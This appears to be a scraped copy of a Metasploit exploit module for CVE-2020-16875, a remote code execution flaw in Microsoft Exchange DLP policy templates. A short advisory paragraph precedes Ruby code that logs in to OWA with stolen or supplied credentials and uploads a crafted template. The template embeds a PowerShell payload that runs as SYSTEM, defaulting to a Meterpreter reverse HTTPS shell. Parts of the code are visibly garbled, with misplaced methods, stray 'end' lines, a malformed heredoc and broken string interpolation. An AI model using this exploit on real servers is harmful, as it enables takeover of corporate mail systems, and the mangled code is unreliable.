

## Microsoft Exchange Server DlpUtils AddTenantDlpPolicy Remote Code Execution

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This vulnerability allows remote attackers to execute arbitrary code on affected installations of Exchange Server. Authentication is required to exploit this vulnerability. Additionally, the target user must have the "Data Loss Prevention" role assigned and an active mailbox. If the user is in the "Compliance Management" or greater "Organization Management" role groups, then they have the "Data Loss Prevention" role. Since the user who installed Exchange is in the "Organization Management" role group, they transitively have the "Data Loss Prevention" role. The specific flaw exists within the processing of the New-DlpPolicy cmdlet. The issue results from the lack of proper validation of user-supplied template data when creating a DLP policy. An attacker can leverage this vulnerability to execute code in the context of SYSTEM. Tested against Exchange Server 2016 CU14 on Windows Server 2016.

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Powershell

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Microsoft Exchange Server DlpUtils AddTenantDlpPolicy RCE',
        'Description' => %q{
          This vulnerability allows remote attackers to execute arbitrary code
          on affected installations of Exchange Server. Authentication is
          required to exploit this vulnerability. Additionally, the target user
          must have the "Data Loss Prevention" role assigned and an active
          mailbox.

          If the user is in the "Compliance Management" or greater "Organization
          Management" role groups, then they have the "Data Loss Prevention"
          role. Since the user who installed Exchange is in the "Organization
          Management" role group, they transitively have the "Data Loss
          Prevention" role.

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          cmdlet. The issue results from the lack of proper validation of
          user-supplied template data when creating a DLP policy. An attacker
          can leverage this vulnerability to execute code in the context of
          SYSTEM.

          Tested against Exchange Server 2016 CU14 on Windows Server 2016.
        },
        'Author' => [
          'mr_me', # Discovery, exploits, and most of the words above
          'wvu' # Module
        ],
        'References' => [
          ['CVE', '2020-16875'],
          ['URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-16875'],
          ['URL', 'https://support.microsoft.com/en-us/help/4577352/security-update-for-exchange-server-2019-and-2016'],
          ['URL', 'https://srcincite.io/advisories/src-2020-0019/'],
          ['URL', 'https://srcincite.io/poc/cve-2020-16875.py.txt'],
          ['URL', 'https://srcincite.io/poc/cve-2020-16875.ps1.txt']
        ],
        'DisclosureDate' => '2020-09-08', # Public disclosure
        'License' => MSF_LICENSE,
        'Platform' => 'win',
        'Arch' => [ARCH_X86, ARCH_X64],
        'Privileged' => true,
        'Targets' => [
          ['Exchange Server 2016 and 2019 w/o KB4577352', {}]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'SSL' => true,
          'PAYLOAD' => 'windows/x64/meterpreter/reverse_https',
          'HttpClientTimeout' => 5,
          'RpsDelay' => 10
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => {
            IOC_IN_LOGS,
            ACCOUNT_LOCKOUTS, # Creates a concurrent OWA session
            CONFIG_CHANGES, # Creates a new DLP policy
            ARTIFACTS_ON_DISK # Uses a DLP policy template file
          }
        }
      )
    )

    register_options([
      Opt::RPORT(443),
      OptString.new('TARGETURI', [true, 'Base path', '/']),
      OptString.new('USERNAME', [false, 'OWA username']),
      OptString.new('PASSWORD', [false, 'OWA password'])
    ])

    def post_auth?
      true
    end

    def username
      datastore['USERNAME']
    end

    def password
      datastore['PASSWORD']
    end

    def check
      res = send_request_cgi(
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path, '/owa/auth/logon.aspx')
      )

      unless res
        return CheckCode::Unknown('Target did not respond to check.')
      end
    end
  end
end
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end

unless res.code == 200 && res.body.include?('<title>Outlook</title>')
  return CheckCode::Unknown('Target does not appear to be running OWA.')
end

CheckCode::Detected("OWA is running at #{full_uri('/owa/')}")
end

def exploit
  owa_login
  create_dlp_policy(retrieve_viewstate)
end

def owa_login
  unless username && password
    fail_with(Failure::BadConfig, 'USERNAME and PASSWORD are required for exploitation')
  end

  print_status("Logging in to OWA with creds #{username}:#{password}")

  res = send_request_cgi({
    'method' => 'POST',
    'uri' => normalize_uri(target_uri.path, '/owa/auth.owa'),
    'vars_post' => {
      'username' => username,
      'password' => password,
      'flags' => '',
      'destination' => full_uri('/owa/', vhost_uri: true)
    },
    'keep_cookies' => true
  }, datastore['HttpClientTimeout'], 2) # timeout and redirect_depth

  unless res
    fail_with(Failure::Unreachable, 'Failed to access OWA login page')
  end

  unless res.code == 200 && cookie_jar.grep(/^cadata/).any?
    if res.body.include?('There are too many active sessions connected to this mailbox.')
      fail_with(Failure::NoAccess, 'Reached active session limit for mailbox')
    end

    fail_with(Failure::NoAccess, 'Failed to log in to OWA with supplied creds')
  end

  if res.body.include?('Choose your preferred display language and home time zone below.')
    fail_with(Failure::NoAccess, 'Mailbox is active but not fully configured')
  end

  print_good('Successfully logged in to OWA')
end

def retrieve_viewstate
  print_status('Retrieving ViewState from DLP policy creation page')

  res = send_request_cgi(
    'method' => 'GET',
    'uri' => normalize_uri(target_uri.path, '/ecp/DLP/Policy/ManagePolicyFromISV.aspx'),
    'agent' => '', # HACK: Bypass Exchange's User-Agent validation
    'keep_cookies' => true
  )

  unless res
    fail_with(Failure::Unreachable, 'Failed to access DLP policy creation page')
  end

  unless res.code == 200 && (viewstate = res.get_html_document.at('/input[@id =
    "__VIEWSTATE"]/@value').s.text)
    fail_with(Failure::UnexpectedReply, 'Failed to retrieve ViewState')
  end

  print_good('Successfully retrieved ViewState')
  viewstate
end

def create_dlp_policy(viewstate)
  print_status('Creating custom DLP policy from malicious template')
  vprint_status("DLP policy name: #{dlp_policy_name}")

  form_data = Rex::MIME::Message.new
  form_data.add_part(viewstate, nil, nil, 'form-data; name="__VIEWSTATE"')
  form_data.add_part(
    'ResultPanePlaceHolder_ButtonsPanel_btnNext',
    nil,
    nil,
    'form-data; name="ctl00$ResultPanePlaceHolder$senderBtn"'
  )
  form_data.add_part(
    dlp_policy_name,
    nil,
    nil,
    'form-data; name="ctl00$ResultPanePlaceHolder$contentContainer$name"'
  )
  form_data.add_part(
    dlp_policy_template,
    'text/xml',
    nil,
    %(form-data; name="ctl00$ResultPanePlaceHolder$contentContainer$upldCtrl"; filename="#
    (dlp_policy_filename)")
  )

  send_request_cgi({
    'method' => 'POST',
    'uri' => normalize_uri(target_uri.path, '/ecp/DLP/Policy/ManagePolicyFromISV.aspx'),
    'agent' => '', # HACK: Bypass Exchange's User-Agent validation
    'ctype' => 'multipart/form-data; boundary=#{form_data.boundary}',
    'data' => form_data.to_s
  }, 0)
end

def dlp_policy_template
  # https://docs.microsoft.com/en-us/exchange/developing-dlp-policy-template-files-exchange-2013-help
  <<-XML
  <?xml version="1.0" encoding="UTF-8"?>
  <dlpPolicyTemplates>
    <dlpPolicyTemplate id="F7C29AEC-A52D-4502-9670-141424A83FAB" mode="Audit" state="Enabled"
    version="15.0.2.0">
      <contentVersion>4</contentVersion>
      <publisherName>Metasploit</publisherName>
      <name>
        <localizedString lang="en">#{dlp_policy_name}</localizedString>
      </name>
      <description>
        <localizedString lang="en">vuu was here</localizedString>
      </description>
      <keywords></keywords>
      <ruleParameters></ruleParameters>
      <policyCommands>
        <commandBlock>
          <![CDATA[#{cmd_psh_payload(payload.encoded, payload.arch.first, exec_in_place: true)}]]>
        </commandBlock>
        </policyCommands>
      </dlpPolicyTemplate>
    </dlpPolicyTemplates>
  </XML>
end

def dlp_policy_name
  @dlp_policy_name ||= "#{Faker::Bank.name.titleize} Data"
end

def dlp_policy_filename
  @dlp_policy_filename ||= "#{rand_text_alphanumeric(8..42)}.xml"
end
end

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